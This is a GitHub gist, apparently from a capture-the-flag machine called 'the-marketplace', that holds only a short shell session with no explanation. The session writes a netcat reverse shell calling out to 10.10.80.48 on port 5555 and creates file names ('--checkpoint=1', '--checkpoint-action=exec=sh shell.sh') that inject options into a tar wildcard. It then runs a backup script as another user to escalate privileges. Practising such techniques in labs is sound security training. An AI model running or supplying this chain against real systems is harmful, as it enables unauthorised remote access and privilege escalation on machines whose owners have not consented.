Skip to content

Instantly share code, notes, and snippets.

@reewardius
Created November 24, 2021 01:01
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save reewardius/516c6c7972f088c9848ef1f9c8499f5f to your computer and use it in GitHub Desktop.
Save reewardius/516c6c7972f088c9848ef1f9c8499f5f to your computer and use it in GitHub Desktop.
jake@the-marketplace:~$ cat > /opt/backups/shell.sh << EOF
#!/bin/bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.80.48 5555 >/tmp/f
EOF
jake@the-marketplace:~$ chmod +x /opt/backups/shell.sh
jake@the-marketplace:~$ touch "/opt/backups/--checkpoint=1"
jake@the-marketplace:~$ touch "/opt/backups/--checkpoint-action=exec=sh shell.sh"
jake@the-marketplace:~$ cd /opt/backups/
jake@the-marketplace:~$ sudo -u michael /opt/backups/backup.sh
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment